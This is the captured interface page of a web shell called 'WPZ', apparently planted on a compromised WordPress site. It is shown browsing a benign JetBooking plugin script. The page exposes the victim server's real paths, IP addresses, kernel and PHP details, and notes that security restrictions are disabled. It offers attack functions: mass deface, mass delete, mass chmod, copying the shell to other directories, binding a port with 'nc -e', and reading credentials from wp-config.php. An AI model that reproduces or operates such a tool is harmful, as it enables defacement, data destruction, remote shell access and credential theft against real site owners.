WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-booking / assets / js / widgets / src / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/assets/js/widgets/src/index.js (2.05 KB)
import { Disabled } from '@wordpress/components';
import { subscribe, select } from '@wordpress/data';
import domReady from '@wordpress/dom-ready';
import { createElement, createRoot } from '@wordpress/element';

import SettingsConfiguration from './widgets/settings-configuration';
import SettingsSchedule from './widgets/settings-schedule';

import './style.scss';

const initWidget = ( element, selector, isEditorContext = false ) => {
	const widgets = document.querySelectorAll( selector );

	if ( ! widgets.length ) return;

	widgets.forEach( ( widget ) => {
		const root = createRoot( widget );
		const data = widget?.dataset?.settings ? JSON.parse( widget.dataset.settings ) : {};

		if ( isEditorContext ) {
			root.render( createElement( Disabled, { isDisabled: true }, createElement( element, { ...data, isEditorContext: true } ) ) );
		} else {
			root.render( createElement( element, { ...data } ) );
		}
	} );
};

const init = ( isEditorContext = false ) => {
	initWidget( SettingsConfiguration, '.jet-abaf-settings-configuration-root', isEditorContext );
	initWidget( SettingsSchedule, '.jet-abaf-settings-schedule-root', isEditorContext );
};

// Handle Blocks editor preview.
const initBlockEditor = () => {
	subscribe( () => {
		if ( select( 'core/block-editor' ).getBlocks().length ) init( true );
	} );
};

// Handle Elementor editor preview.
window.addEventListener( 'elementor/frontend/init', function () {
	if ( 'undefined' === typeof elementor ) return;

	window.elementorFrontend.hooks.addAction( 'frontend/element_ready/settings-configuration.default', () => {
		initWidget( SettingsConfiguration, '.jet-abaf-settings-configuration-root', true )
	} );

	window.elementorFrontend.hooks.addAction( 'frontend/element_ready/settings-schedule.default', () => {
		initWidget( SettingsSchedule, '.jet-abaf-settings-schedule-root', true )
	} );
} );

// Handle Bricks editor preview.
window.jetBookingWidgetsInit = () => init( true );

// Render the widget when DOM is ready.
domReady( () => document.body.classList.contains( 'block-editor-page' ) ? initBlockEditor() : init() );
namawaktuukuranownerpermaksi
..
components/ 2026-07-21 14:16359 B 76129f60960:kundendxwrx-r--r
hooks/ 2026-07-21 14:162.21 KB 76129f60960:kundendxwrx-r--r
widgets/ 2026-07-21 14:1618.78 KB 76129f60960:kundendxwrx-r--r
index.js 2026-07-21 14:162.05 KB 76129f60960:kunden-xw-x-----
edt
style.scss 2026-07-21 14:163.38 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/assets/js/widgets/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK